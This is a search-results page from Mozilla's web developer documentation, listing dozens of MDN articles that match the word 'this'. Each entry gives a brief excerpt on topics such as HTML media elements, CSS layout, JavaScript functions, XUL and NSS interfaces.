this article provides: a basic guide to creating a cross-browser html5 audio player with all the associated attributes, properties, and events explained a guide to custom controls created using the media api basic audio example the code below is an example of a basic audio implementation using html5: <audio controls> <source src="audiofile.mp3" type="audio/mpeg"> <source src="audiofile.ogg" type="audio/ogg"> <!-- fallback for non supporting browsers goes here --> <p>your browser does not support html5 audio, but you can still <a href="audiofile.mp3">download the music</a>.</p> </audio> note: you can also use an mp4 file instead of mp3.
... here we define an <audio> element with multiple sources — we do
this as not all browsers support the same audio formats.
... we do
this using the <source> element, which takes the attributes src and type.
...And 27 more matches
<button>: The Button element - HTML: Hypertext Markup Language
the source for
this interactive example is stored in a github repository.
... implicit aria role button permitted aria roles checkbox, link, menuitem, menuitemcheckbox, menuitemradio, option, radio, switch, tab dom interface htmlbuttonelement attributes
this element's attributes include the global attributes.
... autofocus html5
this boolean attribute specifies that the button should have input focus when the page loads.
...And 27 more matches
HTTP conditional requests - HTTP
therefore,
this spares bandwidth.
...to achieve
this, the conditional requests need to indicate the version of the resource.
...
this is even if they are minor differences; like different ads, or a footer with a different date.
...And 27 more matches
Functions - JavaScript
the statement return specifies the value returned by the function: return number * number; primitive parameters (such as a number) are passed to functions by value; the value is passed to the function, but if the function changes the value of the parameter,
this change is not reflected globally or in the calling function.
... functions must be in scope when they are called, but the function declaration can be hoisted (appear below the call in the code), as in
this example: console.log(square(5)); /* ...
... note:
this works only when defining the function using the above syntax (i.e.
...And 27 more matches
Custom XUL Elements with XBL - Archive of obsolete content
this somewhat cryptic explanation describes a very simple concept: with xbl you can create your own custom elements.
...if you look into the content directory, you'll see both files: person.xml -
this is the main binding file.
...we'll look into the code throughout the rest of
this section.
...And 26 more matches
SeaMonkey - making custom toolbar (SM ver. 1.x) - Archive of obsolete content
this page tells you step-by-step how to make a custom toolbar button in seamonkey 1.x.
... (for seamonkey 2, firefox, thunderbird and sunbird, see the page: custom toolbar button) you do not need any special technical skills or tools, and almost all the information you need is on
this page.
...you can use
this page if all you really want is a button for some special purpose.
...And 26 more matches
window - Archive of obsolete content
this allows you to have a different icon for each window.
... attributes accelerated, chromemargin, disablechrome, disablefastfind, drawintitlebar, fullscreenbutton, height, hidechrome, id, lightweightthemes, lightweightthemesfooter, screenx, screeny, sizemode, title, width, windowtype examples <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <!-- run
this example using copy & paste in
this live xul editor: https://github.com/km-200/xul --> <!-- extremely recommended to keep
this css include!!
... <label control="your-lname" value="enter last name:"/> <textbox id="your-lname" value="hernandez"/> </hbox> <hbox> <button oncommand="alert('save!')"> <description>save</description> </button> </hbox> </vbox> </radiogroup> </groupbox> </vbox> </window> attributes accelerated type: booleanset
this attribute to true to allow hardware layer managers to accelerate the window.
...And 26 more matches
Getting started with CSS - Learn web development
previous overview: first steps next in
this article we will take a simple html document and apply css to it, learning some practical things about the language along the way.
... <!doctype html> <html lang="en"> <head> <meta charset="utf-8"> <title>getting started with css</title> </head> <body> <h1>i am a level one heading</h1> <p>
this is a paragraph of text.
... in the text is a <span>span element</span> and also a <a href="http://example.com">link</a>.</p> <p>
this is the second paragraph.
...And 26 more matches
Advanced form styling - Learn web development
previous overview: forms next in
this article, we will see what can be done with css to style the types of form control that are more difficult to style — the "bad" and "ugly" categories.
...unfortunately, the behavior of
this property's original implementations was very different across browsers, making it not very usable.
...firefox settled on
this because web developers mostly seemed to be using the -webkit- prefixed version, so it was better for compatibility.
...And 26 more matches
Video and Audio APIs - Learn web development
this article shows you how to do common tasks such as creating custom playback controls.
...as we showed in video and audio content, a typical implementation looks like
this: <video controls> <source src="rabbit320.mp4" type="video/mp4"> <source src="rabbit320.webm" type="video/webm"> <p>your browser doesn't support html5 video.
... here is a <a href="rabbit320.mp4">link to the video</a> instead.</p> </video>
this creates a video player inside the browser like so: you can review what all the html features do in the article linked above; for our purposes here, the most interesting attribute is controls, which enables the default set of playback controls.
...And 26 more matches
NSS Sample Code Sample1
this is an example program that demonstrates how to do key generation and transport between cooperating servers.
...
this program shows the following: rsa key pair generation naming rsa key pairs looking up a previously generated key pair by name creating aes and mac keys (or encryption and mac keys in general) wrapping symmetric keys using your own rsa key pair so that they can be stored on disk or in a database.
... we will add message protection (encryption and macing) examples to
this program in the future.
...And 26 more matches
nsIAccessible
}; accessible/public/nsiaccessible.idlscriptable please add a summary to
this article.
... last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) overview
this section provides short overview of methods and attributes of
this interface.
...use nsiaccessible.groupposition() to get information about
this accessible in its group.
...And 26 more matches
nsICacheEntryDescriptor
netwerk/cache/nsicacheentrydescriptor.idlscriptable
this interface provides a cache entry descriptor.
...signed long offset); nsioutputstream openoutputstream(in unsigned long offset); void setdatasize(in unsigned long size); void setexpirationtime(in pruint32 expirationtime); void setmetadataelement(in string key, in string value); void visitmetadata(in nsicachemetadatavisitor visitor); attributes attribute type description accessgranted nscacheaccessmode get the access granted to
this descriptor.
...
this will fail if the cache entry is stream based.
...And 26 more matches
Plug-in Basics - Plugins
notice in view-source that
this information is simply gathered from the javascript.
...
this section gives you an overview of the way that plug-ins operate in the browser.
...when the browser starts, it enumerates the available plug-ins (
this step varies according to platform), reads resources from each plug-in file to determine the mime types for that plug-in, and registers each plug-in library for its mime types.
...And 26 more matches
Autoplay guide for media and Web Audio APIs - Web media technologies
in order to give users control over
this, browsers often provide various forms of autoplay blocking.
... in
this guide, we'll cover autoplay functionality in the various media and web audio apis, including a brief overview of how to use autoplay and how to work with browsers to handle autoplay blocking gracefully.
...
this includes both the use of html attributes to autoplay media as well as the user of javascript code to start playback outside the context of handling user input.
...And 26 more matches
Codecs used by WebRTC - Web media technologies
this guide reviews the codecs that browsers are required to implement as well as other codecs that some or all browsers support for webrtc.
...
this guide reviews the codecs that browsers are required to implement as well as other codecs that some or all browsers support for webrtc.
...
this is done by sending an a=imageattr sdp attribute to indicate the maximum resolution that is acceptable.
...And 26 more matches
Classes and Inheritance - Archive of obsolete content
it is possible to read
this section on its own.
...to illustrate
this, let's define a simple constructor for a class shape: function shape(x, y) {
this.x = x;
this.y = y; } we can now use
this constructor to create instances of shape: let shape = new shape(2, 3); shape instanceof shape; // => true shape.x; // => 2 shape.y; // => 3 the keyword new tells javascript that we are performing a constructor call.
... constructor calls differ from ordinary function calls in that javascript automatically creates a new object and binds it to the keyword
this for the duration of the call.
...And 25 more matches
Adding preferences to an extension - Archive of obsolete content
« previousnext »
this article takes the creating a dynamic status bar extension sample to the next level, adding a popup menu that lets you quickly switch between multiple stocks to watch.
... as before, concepts covered in the previous articles in
this series won't be rehashed here, so if you haven't already seen them: creating a status bar extension creating a dynamic status bar extension also, for reference, you may want to take a look at preferences system and the preferences api.
... download the sample you can download a copy of
this sample to look over, or to use as the basis for your own extension.
...And 25 more matches
Layout System Overview - Archive of obsolete content
this presentation is typically formatted in accordance with the requirements of the css1 and css2 specifications from the w3c.
...
this is referred to as the galley mode presentation, and is what one expects from a typical browser.
...
this paged presentation presents several challenges not present in the galley presentation, namely how to break up elements that are larger than a single page, and how to handle changes to page dimensions.
...And 25 more matches
Modifying a XUL Interface - Archive of obsolete content
for example, the following will add a button to a xul window: example 1 : source view <script> function addbutton(){ var abox = document.getelementbyid("abox"); var button = document.createelement("button"); button.setattribute("label","a new button"); abox.appendchild(button); } </script> <box id="abox" width="200"> <button label="add" oncommand="addbutton();"/> </box>
this example has two parts a box container element in xul.
... notice that
this is not the same as a vbox or an hbox.
... (
this is discussed more in the box model pages.) the box element has two attributes "id" and "width".
...And 25 more matches
Building a Theme - Archive of obsolete content
introduction
this tutorial will take you through the steps required to build a very basic theme - one which updates the background color of the toolbars in firefox.
... note:
this tutorial is about building themes for firefox 29 and later.
...copy your firefox installation's omni.ja into
this directory.
...And 25 more matches
CSS basics - Learn web development
for example,
this css selects paragraph text, setting the color to red: p { color: red; } let's try it out!
... to make the code work, we still need to apply
this css (above) to your html document.
...you should see something like
this: if your paragraph text is red, congratulations!
...And 25 more matches
Debugging HTML - Learn web development
this article will introduce you to some tools that can help you find and fix errors in html.
...
this, of course, can still be a problem!
...
this demo is deliberately written with some built-in errors for us to explore (the html markup is said to be badly-formed, as opposed to well-formed).
...And 25 more matches
HTML table advanced features and accessibility - Learn web development
previous overview: tables next in the second article in
this module, we look at some more advanced features of html tables — such as captions/summaries and grouping your rows into table head, body and footer sections — as well as looking at the accessibility of tables for visually impaired users.
...
this is useful for all readers wishing to get a quick idea of whether the table is useful to them as they scan the page, but particularly for blind users.
... note: the summary attribute can also be used on the <table> element to provide a description —
this is also read out by screenreaders.
...And 25 more matches
Functions — reusable blocks of code - Learn web development
in
this article we'll explore fundamental concepts behind functions such as basic syntax, how to invoke and define them, scope, and parameters.
... built-in browser functions we've made use of functions built in to the browser a lot in
this course.
...urce string, // and a target string and replaces the source string, // with the target string, and returns the newly formed string or every time we manipulated an array: let myarray = ['i', 'love', 'chocolate', 'frogs']; let madeastring = myarray.join(' '); console.log(madeastring); // the join() function takes an array, joins // all the array items together into a single // string, and returns
this new string or every time we generated a random number: let mynumber = math.random(); // the random() function generates a random number between // 0 and up to but not including 1, and returns that number ...we were using a function!
...And 25 more matches
Working with JSON - Learn web development
you'll come across it quite often, so in
this article we give you all you need to work with json using javascript, including parsing json so you can access data within it, and creating json.
...
this is not a big issue — javascript provides a global json object that has methods available for converting between the two.
...
this allows you to construct a data hierarchy, like so: { "squadname": "super hero squad", "hometown": "metro city", "formed": 2016, "secretbase": "super tower", "active": true, "members": [ { "name": "molecule man", "age": 29, "secretidentity": "dan jukes", "powers": [ "radiation resistance", "turning tiny", "radiation blast" ] ...
...And 25 more matches
Chrome registration
this allows translators to plug in a different chrome package to translate an application without altering the rest of the source code.
...
this chrome registry is configurable and persistent, and thus a user can install different chrome providers, and select a preferred skin and locale.
...
this is accomplished through xpinstall and the extension manager.
...And 25 more matches
Extending a Protocol
quick start: extending a protocol
this tutorial implements a simple ping-pong style ipdl protocol, which sends a message from the content process (main thread) to the chrome process (ui thread).
... to make
this tutorial less abstract (more fun!), we are going to implement a js method called echo() on the navigator interface.
... the webidl for
this will be: partial interface navigator { promise<domstring> echo(domstring somestring); }; learning goals are: extending an existing ipdl protocol.
...And 25 more matches
PKCS11 FAQ
private keys must have the same cka_id value as their corresponding certificate, and
this value must be unique on the token.
...
this value is set when the key is generated, so that nss will be able to find the key when the certificate for that key is loaded.
...
this case is interesting only for read/write tokens.
...And 25 more matches
NSS tools : signtool
this is the case for some test certificates, as well as certificates issued by netscape certificate management system: you must download the the ca certificate in addition to obtaining your own signing certificate.
...note that with netscape signing tool version 1.1 and later
this option can appear multiple times on one command line, making it possible to specify multiple file types or classes to include.
...all options and arguments can be expressed through
this file.
...And 25 more matches
nsIChannel
netwerk/base/nsichannel.idlscriptable
this interface allows clients to construct 'get' requests for specific protocols, and manage them in a uniform way.
...
this interface must be used only from the xpcom main thread.
...
this attribute only applies to textual data.
...And 25 more matches
nsIMsgFolder
this page is out of date.
...hanged(in nsiatom property, in astring oldvalue, in astring newvalue); void notifyitemadded(in nsisupports item); void notifyitemremoved(in nsisupports item); void notifyfolderevent(in nsiatom event); void listdescendents(in nsisupportsarray descendents); void shutdown(in boolean shutdownchildren); void setinvfeditsearchscope(in boolean asearch
thisfolder, in boolean asetonsubfolders); void copydatatooutputstreamforappend(in nsiinputstream aistream, in long alength, in nsioutputstream outputstream); void copydatadone(); void setjunkscoreformessages(in nsisupportsarray amessages, in acstring ajunkscore); void applyretentionsettings(); boolean fetchmsgpreviewtext([array, size_is (anumkeys)] in nsmsg...
... dbtransferinfo nsidbfolderinfo subfolders nsisimpleenumerator readonly: returns an enumerator containing a list of nsimsgfolder items that are subfolders of the instance
this is called on.
...And 25 more matches
Intersection Observer API - Web APIs
as the web has matured, the need for
this kind of information has grown.
...since all
this code runs on the main thread, even one of these can cause performance problems.
...the author of the web site may not even realize
this is happening, since they may know very little about the inner workings of the two libraries they are using.
...And 25 more matches
KeyboardEvent - Web APIs
dom_key_location_left 0x01 the key is one which may exist in multiple locations on the keyboard and, in
this instance, is on the left side of the keyboard.
... dom_key_location_right 0x02 the key is one which may exist in multiple positions on the keyboard and, in
this case, is located on the right side of the keyboard.
...the numlock key does not fall into
this group and is always encoded with the location dom_key_location_standard.
...And 25 more matches
Using DTMF with WebRTC - Web APIs
this article offers a brief high-level overview of how dtmf works over webrtc, then provides a guide for everyday developers about how to send dtmf over an rtcpeerconnection.
...webrtc currently ignores these payloads;
this is because webrtc's dtmf support is primarily intended for use with legacy telephone services that rely on dtmf tones to perform tasks such as: teleconferencing systems menu systems voicemail systems entry of credit card or other payment information passcode entry note: while the dtmf is not sent to the remote peer as audio, browsers may choose to play the corresponding tone to the local user as part of their user expe...
... if you'd like to know more about how
this works, read rfc 3550: rtp: a transport protocol for real-time applications and rfc 4733: rtp payload for dtmf digits, telephony tones, and telephony signals.
...And 25 more matches
Typical use cases of Flexbox - CSS: Cascading Style Sheets
in
this guide we will take a look at some of the common use cases for flexbox — those places where it makes more sense than another layout method.
...
this is something that may well change once box alignment is implemented in block layout.
... in
this guide i look at some of the typical things you might use flexbox for today.
...And 25 more matches
Grid template areas - CSS: Cascading Style Sheets
when you use css grid layout you always have lines, and
this can be a straightforward way to place items on your grid.
...
this method involves placing our items using named template areas, and we will find out exactly how
this method works.
... you will see very quickly why we sometimes call
this the ascii-art method of grid layout!
...And 25 more matches
Scaling of SVG backgrounds - CSS: Cascading Style Sheets
this article describes how scaling of svg images is handled when using these properties.
...there are some edge cases that aren't covered by these rules, but
this covers the majority of cases.
... dimensionless and proportionless
this image is both dimensionless and proportionless.
...And 25 more matches
Creating a cross-browser video player - Developer guides
this article describes a simple html5 video player that uses the media and fullscreen apis and works across most major desktop and mobile browsers.
...="img/poster.jpg" width="1024" height="428" title="no video playback possible, please download the video from the link below" /> </object> <!-- offer download --> <a href="video/tears-of-steel-battle-clip-medium.mp4">download mp4</a> </video> <figcaption>© blender foundation | <a href="http://mango.blender.org">mango.blender.org</a></figcaption> </figure> even though
this player will define its own custom control set, the controls attribute is still added to the <video> element, and the player's default control set is switched off later with javascript.
... doing things
this way still allows users who have javascript turned off (for whatever reason) to still have access to the browser's native controls.
...And 25 more matches
Audio and Video Delivery - Developer guides
this article is intended as a starting point for exploring the various delivery mechanisms of web based media and compatibility with popular browsers.
...currently, to support all browsers we need to specify two formats, although with the adoption of mp3 and mp4 formats in firefox and opera,
this is changing fast.
... to deliver video and audio, the general workflow is usually something like
this: check what format the browser supports via feature detection (usually a choice of two, as stated above).
...And 25 more matches
<input type="number"> - HTML: Hypertext Markup Language
the source for
this interactive example is stored in a github repository.
...e, like so: <input id="number" type="number" value="42"> additional attributes in addition to the attributes commonly supported by all <input> types, inputs of type number support these attributes: attribute description list the id of the <datalist> element that contains the optional pre-defined autocomplete options max the maximum value to accept for
this input min the minimum value to accept for
this input placeholder an example value to display inside the field when it's empty readonly a boolean attribute indicating whether the value is read-only step a stepping interval to use when using up and down arrows to adjust the value, as well as for validation list the values of the list attribute...
...the <datalist> provides a list of predefined values to suggest to the user for
this input.
...And 25 more matches
<video>: The Video Embed element - HTML: Hypertext Markup Language
the source for
this interactive example is stored in a github repository.
... attributes like all other html elements,
this element supports the global attributes.
...however,
this can be useful when creating media elements whose source will be set at a later time, under user control.
...And 25 more matches
Browser detection using the user agent - HTTP
this document will guide you in doing
this as correctly as possible.
... look, or ask, in specialized forums: you're unlikely to be the first to hit
this problem.
...if the problem seems uncommon, it's worth checking if
this bug has been reported to the browser vendor via their bug tracking system (mozilla; webkit; blink; opera).
...And 25 more matches
Closures - JavaScript
run the code using
this jsfiddle link and notice that the alert() statement within the displayname() function successfully displays the value of the name variable, which is declared in its parent function.
...
this is an example of lexical scoping, which describes how a parser resolves variable names when functions are nested.
... closure consider the following code example: function makefunc() { var name = 'mozilla'; function displayname() { alert(name); } return displayname; } var myfunc = makefunc(); myfunc(); running
this code has exactly the same effect as the previous example of the init() function above.
...And 25 more matches
Introduction to using XPath in JavaScript - XPath
this document describes the interface for using xpath in javascript internally, in extensions, and from websites.
... document.evaluate
this method evaluates xpath expressions against an xml based document (including html documents), and returns a xpathresult object, which can be a single node or a set of nodes.
... the existing documentation for
this method is located at document.evaluate, but it is rather sparse for our needs at the moment; a more comprehensive examination will be given below.
...And 25 more matches
/loader - Archive of obsolete content
it can be loaded as a regular script tag in documents that have system principals (note:
this does not appear to work as of 02.2016 due to "use strict" being added to the file): <script type='application/javascript' src='resource://gre/modules/commonjs/toolkit/loader.js'></script>
this will expose a single loader object containing all of the api functions described in
this document.
... globals: provides a set of globals shared across modules loaded via
this loader.
...
this is provided by a mandatory options.paths hash that represents the mapping between module id prefixes and locations.
...And 24 more matches
ui/button/action - Archive of obsolete content
with
this module you can create buttons that display icons and can respond to click events.
...
this can be a number or a string, and you can update it at any time.
...you can do
this in the button's constructor, by assigning the listener to the onclick option.
...And 24 more matches
Source code directories overview - Archive of obsolete content
this document is a guide for developers to the directory structure of the mozilla source code tree.
...
this document contains material for seamonkey, firefox, and toolkit.
...beneath
this third level directory, there may be fourth level base, public and idl directories.
...And 24 more matches
textbox - Archive of obsolete content
if
this attribute is set, the element is disabled.
...do not set the attribute to true, as
this will suggest you can set it to false to enable the element again, which is not the case.
...to enable the element, leave
this attribute out entirely.
...And 24 more matches
HTML basics - Learn web development
as the title suggests,
this article will give you a basic understanding of html and its functions.
... for example, take the following line of content: my cat is very grumpy if we wanted the line to stand by itself, we could specify that it is a paragraph by enclosing it in paragraph tags: <p>my cat is very grumpy</p> anatomy of an html element let's explore
this paragraph element a bit further.
... the main parts of our element are as follows: the opening tag:
this consists of the name of the element (in
this case, p), wrapped in opening and closing angle brackets.
...And 24 more matches
Experimental features in Firefox
this page lists features that are in nightly versions of firefox along with information on how to activate them, if necessary.
...for more details on the status of
this feature, see bug 1639607.
... nightly 78 yes developer edition 78 yes beta 78 yes release 78 no preference name network.preload css display stray control characters in css as hex boxes
this feature renders control characters (unicode category cc) other than tab (u+0009), line feed (u+000a), form feed (u+000c), and carriage return (u+000d) as a hexbox when they are not expected.
...And 24 more matches
Addon
ring platformversion) overview of optional methods void uninstall() void canceluninstall() boolean hasresource(in string path) nsiuri getresourceuri(in string path) void getdatadirectory(in datadirectorycallback callback) required properties attribute type description appdisabled read only boolean true if
this add-on cannot be used in the application based on version compatibility, dependencies, and blocklisting.
... blockliststate read only integer the current blocklist state of
this add-on; see nsiblocklistservice for possible values.
...for some add-ons
this will change immediately based on the appdisabled and userdisabled properties; for others it will only change after an application restart.
...And 24 more matches
Examples
let lastpromise = newpromise.then(function onfulfill(){ }) .catch(function onreject(arejectreason) { console.warn('newpromise failed with reason: ', arejectreason); }); using a promise returned by a function (verbose)
this example uses a verbose syntax, showing all the involved promises.
...let lastpromise = newpromise.then(null, components.utils.reporterror); in
this case, if the file existence check succeeds, the onfulfill callback is invoked.
...
this state will propagate to newpomise, and components.utils.reporterror will report all the details of the exception to the console.
...And 24 more matches
Gecko Profiler FAQ
this documents lists a number of questions asked by people in preparation for a tutorial session about the gecko profiler.
...it only knows what function was executed and what line
this function starts at.
... similarly it also can’t show you instruction level information about where each sample was captured (
this is why there is no support for line-level sampling for native code either.) at
this point the granularity of each sample it displays is a native function.
...And 24 more matches
Querying Places
the defaults for these objects will result in a query that returns all of your browser history in a flat list: chromeutils.definemodulegetter(
this, "placesutils", "resource://gre/modules/placesutils.jsm"); // no query options set will get all history, sorted in database order, // which is nsinavhistoryqueryoptions.sort_by_none.
...the different values for
this property are listed below.
... these values are also properties of nsinavhistoryqueryoptions, and are accessed like
this: components.interfaces.nsinavhistoryqueryoptions.results_as_visit.
...And 24 more matches
nsIProtocolProxyService
netwerk/base/public/nsiprotocolproxyservice.idlscriptable
this interface provides methods to access information about various network proxies.
...roxyinfo afailoverproxy); nsiproxyinfo getfailoverforproxy(in nsiproxyinfo aproxyinfo, in nsiuri auri, in nsresult areason); void registerfilter(in nsiprotocolproxyfilter afilter, in unsigned long aposition); void unregisterfilter(in nsiprotocolproxyfilter afilter); constants constant value description resolve_non_blocking 1<<0
this flag may be passed to the resolve method to request that it fail instead of block the calling thread.
...so, calling resolve without
this flag may result in locking up the calling thread for a lengthy period of time.
...And 24 more matches
nsPIPromptService
embedding/components/windowwatcher/public/nspipromptservice.idlscriptable
this interface is for the dialog implementers, not for other developers.
...
this interface defines the meaning of each indexes of getint(), setint(), getstring() and setstring() of the nsidialogparamblock interface but they are defined on in c++.
...
this is the message text of the dialog.
...And 24 more matches
HTMLInputElement - Web APIs
this overrides the action attribute of the parent form.
...
this overrides the enctype attribute of the parent form.
...
this overrides the method attribute of the parent form.
...And 24 more matches
Using CSS animations - CSS: Cascading Style Sheets
this lets you configure the timing, duration, and other details of how the animation sequence should progress.
...
this does not configure the actual appearance of the animation, which is done using the @keyframes at-rule as described in defining the animation sequence using keyframes below.
...
this is done by establishing two or more keyframes using the @keyframes at-rule.
...And 24 more matches
Relationship of flexbox to other layout methods - CSS: Cascading Style Sheets
in
this article we will take a look at how flexbox fits in with all the other css modules.
...
this specification details how alignment works in all layout — not just flexbox.
...additionally, any new values defined in the box alignment module will apply to flexible box layout; in otherwords, the box alignment module, once completed, will supercede the definitions here." in a later article in
this series — aligning items in a flex container — we will take a thorough look at how the box alignment properties apply to flex items.
...And 24 more matches
<input type="password"> - HTML: Hypertext Markup Language
this character will vary depending on the user agent and os.
... the source for
this interactive example is stored in a github repository.
... specifics of how the entry process works may vary from browser to browser; mobile devices, for example, often display the typed character for a moment before obscuring it, to allow the user to be sure they pressed the key they meant to press;
this is helpful given the small size of keys and the ease with which the wrong one can be pressed, especially on virtual keyboards.
...And 24 more matches
<input type="text"> - HTML: Hypertext Markup Language
the source for
this interactive example is stored in a github repository.
...you can retrieve
this using the value property in javascript.
...the <datalist> provides a list of predefined values to suggest to the user for
this input.
...And 24 more matches
Arrow function expressions - JavaScript
an arrow function expression is a syntactically compact alternative to a regular function expression, although without its own bindings to the
this, arguments, super, or new.target keywords.
... two factors influenced the introduction of arrow functions: the need for shorter functions and the behavior of the
this keyword.
... shorter functions var elements = [ 'hydrogen', 'helium', 'lithium', 'beryllium' ]; //
this statement returns the array: [8, 6, 7, 9] elements.map(function(element) { return element.length; }); // the regular function above can be written as the arrow function below elements.map((element) => { return element.length; }); // [8, 6, 7, 9] // when there is only one parameter, we can remove the surrounding parentheses elements.map(element => { return element.length; }); // [8, 6, 7, 9] // when the only statement in an arrow function is `return`, we can remove `return` and remove // the surrounding curly brackets elements.map(element => element.length); // [8, 6, 7, 9] // in
this case, because we only need the length property, we can use destructuring parameter: // notice that t...
...And 24 more matches
Web Performance
we cover them in
this section: key performance guides animation performance and frame rateanimation on the web can be done via svg, javascript, including <canvas> and webgl, css animation, <video>, animated gifs and even animated pngs and other image types.
...in the context of open web apps,
this document explains in general what performance is, how the browser platform helps improve it, and what tools and processes you can use to test and improve it.performance monitoring: rum vs synthetic monitoringsynthetic monitoring and real user monitoring (rum) are two approaches for monitoring and providing insight into web performance.
... in
this article we define and compare these two performance monitoring approaches.populating the page: how browsers worka developer should strive to achieve these two goals.
...And 24 more matches
Frequently Asked Questions - Archive of obsolete content
note:
this page is extremely out of date.
... we currently maintain two documents to help answer
this question: a status page for svg in firefox 1.5+ and a status page for svg in the development trunk.
... there are two possible reasons for
this: a simple mistake in the svg file, or a misconfigured server.
...And 23 more matches
Writing to Files - Archive of obsolete content
there are alternative xpcom apis you can use, your help in updating
this pages to use the supported api is very much welcome!
...
this method has a number of options to specify text or binary writing, the character set, and whether to append to an existing file or create a new one.
...try { var file = io.getfile("desktop", "myinfo.txt"); var stream = io.newoutputstream(file, "text"); } catch (ex) { alert(ex); }
this example retrieves a file object on the desktop called 'myinfo.txt' using nsiscriptableio.getfile().
...And 23 more matches
Introduction to XUL - Archive of obsolete content
warning: the content of
this article may be out of date.
...in fact, most of mozilla's windows (and dialogs) will be described using
this mechanism.
... scope
this paper makes no attempt to explain requirements.
...And 23 more matches
Custom toolbar button - Archive of obsolete content
this page tells you step-by-step how to make a custom toolbar button in firefox, seamonkey 2.0, thunderbird or sunbird.
... (for seamonkey 1.x, see the page custom toolbar button:seamonkey.) you do not need any special technical skills or tools, and almost all the information you need is on
this page.
... you can use
this page if all you really want is a button for some special purpose.
...And 23 more matches
Creating a Window - Archive of obsolete content
« previousnext » we're going to be creating a simple find files utility throughout
this tutorial.
...the simplest xul file has the following structure: <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window id="findfile-window" title="find files" orient="horizontal" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <!-- other elements go here --> </window>
this window will not do anything since it doesn't contain any ui elements.
...here is a line by line breakdown of the code above: <?xml version="1.0"?>
this line simply declares that
this is an xml file.
...And 23 more matches
Using the Editor from XUL - Archive of obsolete content
warning: the content of
this article may be out of date.
... overview the editor in xul lives on top of a xul <iframe> element; it observes document loading in
this <iframe>, and, when document loading is complete, it instantiates an editor on the loaded document.
... the xul contains an <editor> tag, e.g.: <editor type="content-primary" id="content-frame" src="about:blank" flex="1"/> the attribute type="content-primary" identifies
this as the window content element, i.e.
...And 23 more matches
menuitem - Archive of obsolete content
if
this value is set, it overrides an assigned key set in the key attribute.
...
this attribute does not apply to menus directly on the menubar.
... accesskey type: character
this should be set to a character that is used as a shortcut key.
...And 23 more matches
tooltip - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ]
this element is used for the tooltip popups.
... for text-only tooltips,
this element doesn't need to be used; instead you may just add a tooltiptext attribute to an element.
...if you wish to use the value none and the displayed text is larger than
this maximum width, you may be able to use the max-width css property (or the maxwidth attribute) to override
this size.
...And 23 more matches
Creating XULRunner Apps with the Mozilla Build System - Archive of obsolete content
this is by far the simplest approach.
...the only obvious reason for
this would be if you need to implement part of your application in c++, as described in the introduction to the now classic creating custom firefox extensions with the mozilla build system.
... for the purposes of
this article i'm using dave townsend's mccoy as an example.
...And 23 more matches
Gecko Compatibility Handbook - Archive of obsolete content
they are actually replaced by ''-(example removed)-'' the goal of
this handbook is to help you update websites to work with standards-based browsers and properly detect gecko.
...
this compatibility test will be most beneficial to sites using simple code or that have updated to support standards.
...for more solutions to common problems please continue reading
this handbook.
...And 23 more matches
Examples - Archive of obsolete content
this page contains the source code of the examples related to the "properly using css and javascript in xhtml documents" article.
...you can get the contents of style.css at the bottom of
this page.
... examples for "problems with inline style and script" problem 1 <!--
this file should have a .xhtml extension and will generate an error when parsed.
...And 23 more matches
CSS values and units - Learn web development
in
this lesson we will take a look at some of the most common values and units in use.
...you might get confused between css data types and html elements too, as they both use angle brackets, but
this is unlikely — they are used in very different contexts.
...
this means that if you see <color> as valid you don't need to wonder which of the different types of color value can be used — keywords, hex values, rgb() functions, etc.
...And 23 more matches
Supporting older browsers - Learn web development
previous overview: css layout next in
this module, we recommend using flexbox and grid as the main layout methods for your designs.
...
this will always be the case on the web — as new features are developed, different browsers will prioritise different things.
...
this article explains how to use modern web techniques without locking out users of older technology.
...And 23 more matches
Images in HTML - Learn web development
in
this article we'll look at how to use it in depth, including the basics, annotating it with captions using <figure>, and detailing how it relates to css background images.
...
this is an empty element (meaning that it has no text content or closing tag) that requires a minimum of one attribute to be useful — src (sometimes spoken as its full title, source).
... so for example, if your image is called dinosaur.jpg, and it sits in the same directory as your html page, you could embed the image like so: <img src="dinosaur.jpg"> if the image was in an images subdirectory, which was inside the same directory as the html page (which google recommends for seo/indexing purposes), then you'd embed it like
this: <img src="images/dinosaur.jpg"> and so on.
...And 23 more matches
HTML table basics - Learn web development
overview: tables next
this article gets you started with html tables, covering the very basics such as rows and cells, headings, making cells span multiple columns and rows, and how to group together all the cells in a column for styling purposes.
... tables are very commonly used in human society, and have been for a long time, as evidenced by
this us census document from 1800: it is therefore no wonder that the creators of html provided a means by which to structure and present tabular data on the web.
... saturn 568 120,536 687 9.0 10.7 1433.5 -140 62 ice giants uranus 86.8 51,118 1271 8.7 17.2 2872.5 -195 27 neptune 102 49,528 1638 11.0 16.1 4495.1 -200 14 dwarf planets pluto 0.0146 2,370 2095 0.7 153.3 5906.4 -225 5 declassified as a planet in 2006, but
this remains controversial.
...And 23 more matches
Manipulating documents - Learn web development
this is usually done by using the document object model (dom), a set of apis for controlling html and styling information that makes heavy use of the document object.
... in
this article we'll look at how to use the dom in detail, along with some other interesting apis that can alter your environment in interesting ways.
...there are a few really obvious bits you'll reference regularly in your code — consider the following diagram, which represents the main parts of a browser directly involved in viewing web pages: the window is the browser tab that a web page is loaded into;
this is represented in javascript by the window object.
...And 23 more matches
Handling text — strings in JavaScript - Learn web development
previous overview: first steps next next, we'll turn our attention to strings —
this is what pieces of text are called in programming.
... in
this article, we'll look at all the common things that you really ought to know about strings when learning javascript, such as creating strings, escaping quotes in strings, and joining strings together.
... if you don't do
this, or miss one of the quotes, you'll get an error.
...And 23 more matches
Componentizing our React app - Learn web development
previous overview: client-side javascript frameworks next at
this point, our app is a monolith.
...in
this article we will show you a sensible way to break our app up into components.
...in
this code, we define the function and export it on the same line: export default function todo() { return ( ); }
this is ok so far, but our component has to return something!
...And 23 more matches
AddonManager
the existing add-on types are defined in xpiprovider.jsm and are, at
this time, the following: extension, theme, locale, multipackage, dictionary and experiment.
... pending_enable
this add-on will be enabled after the application restarts.
... pending_disable
this add-on will be disabled after the application restarts.
...And 23 more matches
NSS environment variables
3.12.3 nsrandfile string (file name) uses
this file to seed the pseudo random number generator.
...
this was allowed by default before nss 3.12.3.
...nss_shared_db 3.12 nss_disable_arena_free_list string (any non-empty value) define
this variable to get accurate leak allocation stacks when using leak reporting software.
...And 23 more matches
Property cache
(in some cases
this is necessary for correctness.
